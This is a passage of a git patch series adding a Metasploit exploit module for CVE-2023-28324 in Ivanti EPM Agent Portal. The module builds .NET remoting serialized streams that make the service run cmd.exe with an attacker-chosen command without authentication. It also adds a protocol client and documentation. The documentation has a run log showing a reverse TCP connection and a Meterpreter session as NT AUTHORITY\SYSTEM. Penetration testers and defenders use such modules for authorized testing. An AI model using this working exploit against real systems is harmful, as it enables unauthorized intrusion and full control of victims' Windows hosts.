'LANDeskAgentPortal/LDSM', + context: { 'Msf' => framework, 'MsfExploit' => self } + ) + # todo: deregister SSL options because this service doesn't use 'em + + client.connect + + client.send(ss.to_binary_s, 'application/octet-stream'.encode('UTF-8')) + + end +end From 77f63442d799691b01c2f5784035583c71fb82b1 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 1 Oct 2024 17:35:41 -0400 Subject: [PATCH 06/10] Add the initial higher level client --- lib/rex/proto/ms_nrtp/client.rb | 31 ++++++++ .../misc/ivanti_agent_portal_cmdexec.rb | 73 ++++++++++++------- 2 files changed, 77 insertions(+), 27 deletions(-) diff --git a/lib/rex/proto/ms_nrtp/client.rb b/lib/rex/proto/ms_nrtp/client.rb index b47d7a0a693e..b3b74d7e6609 100644 --- a/lib/rex/proto/ms_nrtp/client.rb +++ b/lib/rex/proto/ms_nrtp/client.rb @@ -72,6 +72,28 @@ def close @conn = nil end + def recv + remaining = @timeout + message, elapsed_time = Rex::Stopwatch.elapsed_time do + ::Timeout.timeout(remaining) do + MsNrtpMessage.read(@conn) + end + end + return nil unless message.operation_type == 2 && message.content_length? + + remaining -= elapsed_time + body = '' + while body.length < message.content_length + chunk, elapsed_time = Rex::Stopwatch.elapsed_time do + @conn.read(message.content_length - body.length, remaining) + end + remaining -= elapsed_time + body << chunk + end + + body + end + def send(data, content_type) message = MsNrtpMessage.new( content_length: data.length, @@ -83,4 +105,13 @@ def send(data, content_type) ) @conn.put(message.to_binary_s + data) end + + def send_recv(data, content_type) + send(data, content_type) + recv + end + + def send_binary(serialized_stream) + send(serialized_stream.to_binary_s, 'application/octet-stream'.encode('UTF-8')) + end end diff --git a/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb b/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb index 1bf5100a6ab4..2b65e043c510 100644 --- a/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb +++ b/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb @@ -49,34 +49,40 @@ def check end def exploit - ss = Msf::Util::DotNetDeserialization::Types::SerializedStream.new({:records=> + client = IAgentPortal.new( + datastore['RHOST'], + datastore['RPORT'], + 'LANDeskAgentPortal/LDSM', + context: { 'Msf' => framework, 'MsfExploit' => self } + ) + # todo: deregister SSL options because this service doesn't use 'em + + client.connect + + ss_response = client.send_recv_binary(ss_request) + puts ss_response.inspect + + sleep 3 + ss_response = client.send_recv_binary(ss_get_result) + puts ss_response.inspect + end + + def ss_request + Msf::Util::DotNetDeserialization::Types::SerializedStream.new({:records=> [{:record_type=>0, :record_value=>{:root_id=>1, :header_id=>-1, :major_version=>1, :minor_version=>0}}, {:record_type=>21, :record_value=> {:message_enum=> {:method_signature_in_array=>1, - :context_in_array=>0, - :context_inline=>0, :no_context=>1, :args_in_array=>1, - :args_is_array=>0, - :args_inline=>0, - :no_args=>0, - :generic_method=>0, - :unused1=>0, - :exception_in_array=>0, - :return_value_in_array=>0, - :return_value_inline=>0, - :return_value_void=>0, - :no_return_value=>0, - :properties_in_array=>0, - :unused2=>0}, + }, :method_name=>"Request", :type_name=>"LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb"}}, - {:record_type=>16, :record_value=>{:array_info=>{:obj_id=>1, :member_count=>2}}}, + {:record_type=>Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], :record_value=>{:array_info=>{:obj_id=>1, :member_count=>2}}}, {:record_type=>9, :record_value=>{:id_ref=>2}}, {:record_type=>9, :record_value=>{:id_ref=>3}}, - {:record_type=>16, :record_value=>{:array_info=>{:obj_id=>2, :member_count=>4}}}, + {:record_type=>Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], :record_value=>{:array_info=>{:obj_id=>2, :member_count=>4}}}, {:record_type=>6, :record_value=>{:obj_id=>4, :string=>"localhost"}}, {:record_type=>9, :record_value=>{:id_ref=>5}}, {:record_type=>6, :record_value=>{:obj_id=>6, :string=>'cmd.exe'}}, @@ -109,18 +115,31 @@ def exploit {:record_type=>6, :record_value=>{:obj_id=>15, :string=>"APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb"}}]}}, {:record_type=>11, :record_value=>{}}]} ) - - client = Rex::Proto::MsNrtp::Client.new( - datastore['RHOST'], - datastore['RPORT'], - 'LANDeskAgentPortal/LDSM', - context: { 'Msf' => framework, 'MsfExploit' => self } + end + def ss_get_result + Msf::Util::DotNetDeserialization::Types::SerializedStream.new({:records=> + [{:record_type=>0, :record_value=>{:major_version=>1}}, + {:record_type=>21, + :record_value=> + {:message_enum=> + {:no_context=>1, + :args_inline=>1 + }, + :method_name=>"GetResult", + :type_name=>"LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb", + :args=>[{:primitive_type_enum=>18, :val=>"localhost"}]}}, + {:record_type=>11}]} ) - # todo: deregister SSL options because this service doesn't use 'em - - client.connect + end +end - client.send(ss.to_binary_s, 'application/octet-stream'.encode('UTF-8')) +class IAgentPortal < Rex::Proto::MsNrtp::Client + def recv_binary + Msf::Util::DotNetDeserialization::Types::SerializedStream.read(recv) + end + def send_recv_binary(serialized_stream) + send_binary(serialized_stream) + recv_binary end end From 9f41937c7a89bdf98e98e804c5527283827ae277 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 28 Oct 2024 17:17:22 -0400 Subject: [PATCH 07/10] Finish up the exploit module --- .../misc/ivanti_agent_portal_cmdexec.md | 43 +++ .../misc/ivanti_agent_portal_cmdexec.rb | 267 +++++++++++------- 2 files changed, 202 insertions(+), 108 deletions(-) create mode 100644 documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md diff --git a/documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md b/documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md new file mode 100644 index 000000000000..ecb0a5d9db28 --- /dev/null +++ b/documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md @@ -0,0 +1,43 @@ +## Vulnerable Application +This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method +which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM. + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/windows/misc/ivanti_agent_portal_cmdexec` +1. Set the `RPORT`, `PAYLOAD` and any payload-related options +1. Run the module + +## Options + +## Scenarios + +### Ivanti 2021.1 / 11.0.4.733 on Windows Server 2022 x64 + +``` +metasploit-framework.pr (S:3 J:0) exploit(windows/misc/ivanti_agent_portal_cmdexec) > run + +[*] Powershell command length: 4205 +[*] Started reverse TCP handler on 192.168.159.128:4444 +[*] 192.168.159.130:49673 - Running automatic check ("set AutoCheck false" to disable) +[*] 192.168.159.130:49673 - Connected to the remote end point +[+] 192.168.159.130:49673 - The target is vulnerable. +[*] Sending stage (176198 bytes) to 192.168.159.130 +[*] Meterpreter session 11 opened (192.168.159.128:4444 -> 192.168.159.130:53627) at 2024-10-28 17:15:09 -0400 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-NJ6DUF1OCAM +OS : Windows Server 2022 (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +meterpreter > pwd +C:\Windows\system32 +meterpreter > +``` diff --git a/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb b/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb index 2b65e043c510..773817250ade 100644 --- a/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb +++ b/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb @@ -4,132 +4,82 @@ require 'rex/proto/ms_nrtp/client' class MetasploitModule < Msf::Exploit::Remote + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::Tcp Rank = ExcellentRanking + def initialize(info = {}) - super(update_info(info, - 'Name' => 'Ivanti EPM Agent Portal Command Execution', - 'Description' => %q{ - Template description. - }, - 'Author' => [ - 'James Horseman', # original poc - 'Zach Hanley', # original poc - 'Spencer McIntyre' # metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => [ - ['CVE', '2023-28324'], - ['URL', 'https://github.com/horizon3ai/CVE-2023-28324'], - ], - 'Platform' => 'win', - 'Arch' => ARCH_CMD, - 'Targets' => - [ - [ 'Automatic', { } ], + super( + update_info( + info, + 'Name' => 'Ivanti EPM Agent Portal Command Execution', + 'Description' => %q{ + This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method + which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM. + }, + 'Author' => [ + 'James Horseman', # original poc + 'Zach Hanley', # original poc + 'Spencer McIntyre' # metasploit module ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2023-06-30', # NVD publish date - 'Notes' => - { - 'Stability' => [ CRASH_SAFE, ], - 'SideEffects' => [ ], - 'Reliability' => [ REPEATABLE_SESSION, ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-28324'], + ['URL', 'https://github.com/horizon3ai/CVE-2023-28324'], + ], + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ 'Automatic', {} ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-06-30', # NVD publish date + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ], + 'Reliability' => [ REPEATABLE_SESSION, ] } - )) + ) + ) register_options([ - Opt::RPORT(8080) + Opt::RPORT() ]) + deregister_options('SSL') end def check - CheckCode::Unknown + cwd = execute_command('echo %cd%', 0) + CheckCode::Safe unless cwd.to_s =~ /.:\\Windows\\System32/i + CheckCode::Vulnerable + rescue Rex::SocketError + CheckCode::Safe end def exploit - client = IAgentPortal.new( - datastore['RHOST'], - datastore['RPORT'], - 'LANDeskAgentPortal/LDSM', - context: { 'Msf' => framework, 'MsfExploit' => self } - ) - # todo: deregister SSL options because this service doesn't use 'em - - client.connect + execute_command(payload.raw) + end - ss_response = client.send_recv_binary(ss_request) - puts ss_response.inspect + def execute_command(command, result_delay = -1) + if @nrtp_client.nil? + @nrtp_client = client = IAgentPortal.new( + datastore['RHOST'], + datastore['RPORT'], + 'LANDeskAgentPortal/LDSM', + context: { 'Msf' => framework, 'MsfExploit' => self } + ) + client.connect + vprint_status('Connected to the remote end point') + else + client = @nrtp_client + end - sleep 3 - ss_response = client.send_recv_binary(ss_get_result) - puts ss_response.inspect - end + client.do_request(command) + return nil unless result_delay >= 0 - def ss_request - Msf::Util::DotNetDeserialization::Types::SerializedStream.new({:records=> - [{:record_type=>0, :record_value=>{:root_id=>1, :header_id=>-1, :major_version=>1, :minor_version=>0}}, - {:record_type=>21, - :record_value=> - {:message_enum=> - {:method_signature_in_array=>1, - :no_context=>1, - :args_in_array=>1, - }, - :method_name=>"Request", - :type_name=>"LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb"}}, - {:record_type=>Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], :record_value=>{:array_info=>{:obj_id=>1, :member_count=>2}}}, - {:record_type=>9, :record_value=>{:id_ref=>2}}, - {:record_type=>9, :record_value=>{:id_ref=>3}}, - {:record_type=>Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], :record_value=>{:array_info=>{:obj_id=>2, :member_count=>4}}}, - {:record_type=>6, :record_value=>{:obj_id=>4, :string=>"localhost"}}, - {:record_type=>9, :record_value=>{:id_ref=>5}}, - {:record_type=>6, :record_value=>{:obj_id=>6, :string=>'cmd.exe'}}, - {:record_type=>6, :record_value=>{:obj_id=>7, :string=>"/c #{payload.raw}"}}, - {:record_type=>7, :record_value=>{:obj_id=>3, :binary_array_type_enum=>0, :rank=>1, :lengths=>[4], :type_enum=>3, :additional_type_info=>"System.Type"}}, - {:record_type=>9, :record_value=>{:id_ref=>8}}, - {:record_type=>9, :record_value=>{:id_ref=>9}}, - {:record_type=>9, :record_value=>{:id_ref=>8}}, - {:record_type=>9, :record_value=>{:id_ref=>8}}, - {:record_type=>12, :record_value=>{:library_id=>11, :library_name=>"APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb"}}, - {:record_type=>5, - :record_value=> - {:class_info=>{:obj_id=>5, :name=>"LANDesk.AgentPortal.IAgentPortalBase+ActionEnum", :member_count=>1, :member_names=>["value__"]}, - :member_type_info=>{:binary_type_enums=>[0], :additional_infos=>[8]}, - :library_id=>11, - :member_values=>[1]}}, - {:record_type=>4, - :record_value=> - {:class_info=>{:obj_id=>8, :name=>"System.UnitySerializationHolder", :member_count=>3, :member_names=>["Data", "UnityType", "AssemblyName"]}, - :member_type_info=>{:binary_type_enums=>[1, 0, 1], :additional_infos=>[8]}, - :member_values=> - [{:record_type=>6, :record_value=>{:obj_id=>12, :string=>"System.String"}}, 4, {:record_type=>6, :record_value=>{:obj_id=>13, :string=>"mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}}]}}, - {:record_type=>1, - :record_value=> - {:obj_id=>9, - :metadata_id=>8, - :member_values=> - [{:record_type=>6, :record_value=>{:obj_id=>14, :string=>"LANDesk.AgentPortal.IAgentPortalBase+ActionEnum"}}, - 4, - {:record_type=>6, :record_value=>{:obj_id=>15, :string=>"APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb"}}]}}, - {:record_type=>11, :record_value=>{}}]} - ) - end - def ss_get_result - Msf::Util::DotNetDeserialization::Types::SerializedStream.new({:records=> - [{:record_type=>0, :record_value=>{:major_version=>1}}, - {:record_type=>21, - :record_value=> - {:message_enum=> - {:no_context=>1, - :args_inline=>1 - }, - :method_name=>"GetResult", - :type_name=>"LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb", - :args=>[{:primitive_type_enum=>18, :val=>"localhost"}]}}, - {:record_type=>11}]} - ) + sleep result_delay + client.do_get_result end end @@ -142,4 +92,105 @@ def send_recv_binary(serialized_stream) send_binary(serialized_stream) recv_binary end + + def do_request(shell_command) + ss_response = send_recv_binary(ss_request(shell_command)) + method_return = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodReturn] } + method_return.record_value.return_value.val.value + end + + def do_get_result + ss_response = send_recv_binary(ss_get_result) + ass = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleString] } + return nil unless ass + + ass.record_value.members.first.record_value.string.value + end + + private + + def ss_get_result + Msf::Util::DotNetDeserialization::Types::SerializedStream.new({ + records: [ + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { major_version: 1 } }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall], + record_value: { + message_enum: { + no_context: 1, + args_inline: 1 + }, + method_name: 'GetResult', + type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb', + args: [{ primitive_type_enum: Msf::Util::DotNetDeserialization::Enums::PrimitiveTypeEnum[:String], val: 'localhost' }] + } + }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd] } + ] + }) + end + + def ss_request(shell_command) + Msf::Util::DotNetDeserialization::Types::SerializedStream.new({ + records: [ + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { root_id: 1, header_id: -1, major_version: 1, minor_version: 0 } }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall], + record_value: { + message_enum: { + method_signature_in_array: 1, + no_context: 1, + args_in_array: 1 + }, + method_name: 'Request', + type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' + } + }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 1, member_count: 2 } } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 2 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 3 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 2, member_count: 4 } } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 4, string: 'localhost' } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 5 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 6, string: 'cmd.exe' } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 7, string: "/c #{shell_command}" } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryArray], record_value: { obj_id: 3, binary_array_type_enum: 0, rank: 1, lengths: [4], type_enum: 3, additional_type_info: 'System.Type' } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 9 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryLibrary], record_value: { library_id: 11, library_name: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithMembersAndTypes], + record_value: { + class_info: { obj_id: 5, name: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum', member_count: 1, member_names: ['value__'] }, + member_type_info: { binary_type_enums: [0], additional_infos: [8] }, + library_id: 11, + member_values: [1] + } + }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes], + record_value: { + class_info: { obj_id: 8, name: 'System.UnitySerializationHolder', member_count: 3, member_names: ['Data', 'UnityType', 'AssemblyName'] }, + member_type_info: { binary_type_enums: [1, 0, 1], additional_infos: [8] }, + member_values: [{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 12, string: 'System.String' } }, 4, { record_type: 6, record_value: { obj_id: 13, string: 'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' } }] + } + }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithId], + record_value: { + obj_id: 9, + metadata_id: 8, + member_values: [ + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 14, string: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum' } }, + 4, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 15, string: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } } + ] + } + }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd], record_value: {} } + ] + }) + end end From 5550e073dd493ca3af398a48c4525c522a056533 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 31 Oct 2024 11:29:34 -0400 Subject: [PATCH 08/10] Implement suggested changes --- lib/rex/proto/ms_nrtp/client.rb | 7 ++++--- lib/rex/proto/ms_nrtp/enums.rb | 10 ++++++++++ .../windows/misc/ivanti_agent_portal_cmdexec.rb | 7 ++++--- 3 files changed, 18 insertions(+), 6 deletions(-) create mode 100644 lib/rex/proto/ms_nrtp/enums.rb diff --git a/lib/rex/proto/ms_nrtp/client.rb b/lib/rex/proto/ms_nrtp/client.rb index b3b74d7e6609..8013a4fc4ef0 100644 --- a/lib/rex/proto/ms_nrtp/client.rb +++ b/lib/rex/proto/ms_nrtp/client.rb @@ -12,6 +12,7 @@ class Rex::Proto::MsNrtp::Client attr_reader :port # @return [String] The server resource component of the URI string. + attr_reader :resource # @return [Boolean] Whether or not SSL is used for the connection. attr_reader :ssl @@ -79,7 +80,7 @@ def recv MsNrtpMessage.read(@conn) end end - return nil unless message.operation_type == 2 && message.content_length? + return nil unless message.operation_type == Enums::OperationTypeEnum[:Reply] && message.content_length? remaining -= elapsed_time body = '' @@ -99,8 +100,8 @@ def send(data, content_type) content_length: data.length, headers: [ { token: MsNrtpHeader::MsNrtpHeaderUri::TOKEN, header: { uri_value: "tcp://#{Rex::Socket.to_authority(@host, @port)}/#{@resource}" } }, - { token: 6, header: { content_type_value: content_type } }, - { token: 0} + { token: MsNrtpHeader::MsNrtpHeaderContentType::TOKEN, header: { content_type_value: content_type } }, + { token: MsNrtpHeader::MsNrtpHeaderEnd::TOKEN } ] ) @conn.put(message.to_binary_s + data) diff --git a/lib/rex/proto/ms_nrtp/enums.rb b/lib/rex/proto/ms_nrtp/enums.rb new file mode 100644 index 000000000000..4fdb1373a133 --- /dev/null +++ b/lib/rex/proto/ms_nrtp/enums.rb @@ -0,0 +1,10 @@ +module Rex::Proto::MsNrtp + module Enums + OperationTypeEnum = { + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/e64b2561-defe-4fb5-865e-ea6706c1253d + Request: 0, + OneWayRequest: 1, + Reply: 2 + } + end +end diff --git a/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb b/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb index 773817250ade..f976f3e3f7ea 100644 --- a/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb +++ b/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb @@ -51,10 +51,11 @@ def initialize(info = {}) def check cwd = execute_command('echo %cd%', 0) - CheckCode::Safe unless cwd.to_s =~ /.:\\Windows\\System32/i - CheckCode::Vulnerable + return CheckCode::Safe('Command execution failed.') unless cwd.to_s =~ /.:\\Windows\\System32/i + + CheckCode::Vulnerable("Command execution test succeeded. Current working directory: #{cwd}") rescue Rex::SocketError - CheckCode::Safe + CheckCode::Safe('MS-NRTP connection failed.') end def exploit From e52edf447c8c15feb50331f031bf8dfe5e1bcef7 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 20 Nov 2024 13:51:39 -0500 Subject: [PATCH 09/10] Implement feedback from the PR --- .../windows/misc/ivanti_agent_portal_cmdexec.md | 4 ++++ .../windows/misc/ivanti_agent_portal_cmdexec.rb | 10 ++++++---- 2 files changed, 10 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md b/documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md index ecb0a5d9db28..90640eae84da 100644 --- a/documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md +++ b/documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md @@ -1,10 +1,14 @@ ## Vulnerable Application This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM. +This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2. ## Verification Steps 1. Install the application +1. Determine which port the vulnerable AgentPortal service is listening on. It has a non-static value. + 1. The port used by the AgentPortal service can be found in the registry at `HKLM\SOFTWARE\LANDesk\SharedComponents\LANDeskAgentPortal` + 1. Or you could scan for it and probe the high ports (testing suggests it should be in the 49000 - 50000 range). 1. Start msfconsole 1. Do: `use exploit/windows/misc/ivanti_agent_portal_cmdexec` 1. Set the `RPORT`, `PAYLOAD` and any payload-related options diff --git a/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb b/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb index f976f3e3f7ea..f11f289459b8 100644 --- a/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb +++ b/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb @@ -17,6 +17,7 @@ def initialize(info = {}) 'Description' => %q{ This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM. + This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2. }, 'Author' => [ 'James Horseman', # original poc @@ -26,6 +27,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2023-28324'], + ['URL', 'https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US'], ['URL', 'https://github.com/horizon3ai/CVE-2023-28324'], ], 'Platform' => 'win', @@ -34,7 +36,7 @@ def initialize(info = {}) [ 'Automatic', {} ], ], 'DefaultTarget' => 0, - 'DisclosureDate' => '2023-06-30', # NVD publish date + 'DisclosureDate' => '2023-06-07', # Ivanti article created date 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ], @@ -44,7 +46,7 @@ def initialize(info = {}) ) register_options([ - Opt::RPORT() + Opt::RPORT(nil, true, 'The target port is not static. For more info, see this module\'s Verifications Steps in the docs.'), ]) deregister_options('SSL') end @@ -54,8 +56,8 @@ def check return CheckCode::Safe('Command execution failed.') unless cwd.to_s =~ /.:\\Windows\\System32/i CheckCode::Vulnerable("Command execution test succeeded. Current working directory: #{cwd}") - rescue Rex::SocketError - CheckCode::Safe('MS-NRTP connection failed.') + rescue Rex::SocketError => e + CheckCode::Safe("MS-NRTP connection failed. #{e.class}: #{e.message}") end def exploit From d69c146fb0f58c5d030ef92698c00f5409ee9331 Mon Sep 17 00:00:00 2001 From: jenkins-metasploit Date: Wed, 20 Nov 2024 19:26:21 +0000 Subject: [PATCH 10/10] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 53 +++++++++++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 9f2181ae2adc..a28effd3534f 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -184744,6 +184744,59 @@ "session_types": false, "needs_cleanup": null }, + "exploit_windows/misc/ivanti_agent_portal_cmdexec": { + "name": "Ivanti EPM Agent Portal Command Execution", + "fullname": "exploit/windows/misc/ivanti_agent_portal_cmdexec", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-06-07", + "type": "exploit", + "author": [ + "James Horseman", + "Zach Hanley", + "Spencer McIntyre" + ], + "description": "This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method\n which will run an attacker-specified string on the remote target as NT AUTHORITY\\SYSTEM.\n This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.", + "references": [ + "CVE-2023-28324", + "URL-https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US", + "URL-https://github.com/horizon3ai/CVE-2023-28324" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Automatic" + ], + "mod_time": "2024-11-20 13:51:39 +0000", + "path": "/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb", + "is_install_path": true, + "ref_name": "windows/misc/ivanti_agent_portal_cmdexec", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_windows/misc/ivanti_avalanche_mdm_bof": { "name": "Ivanti Avalanche MDM Buffer Overflow", "fullname": "exploit/windows/misc/ivanti_avalanche_mdm_bof",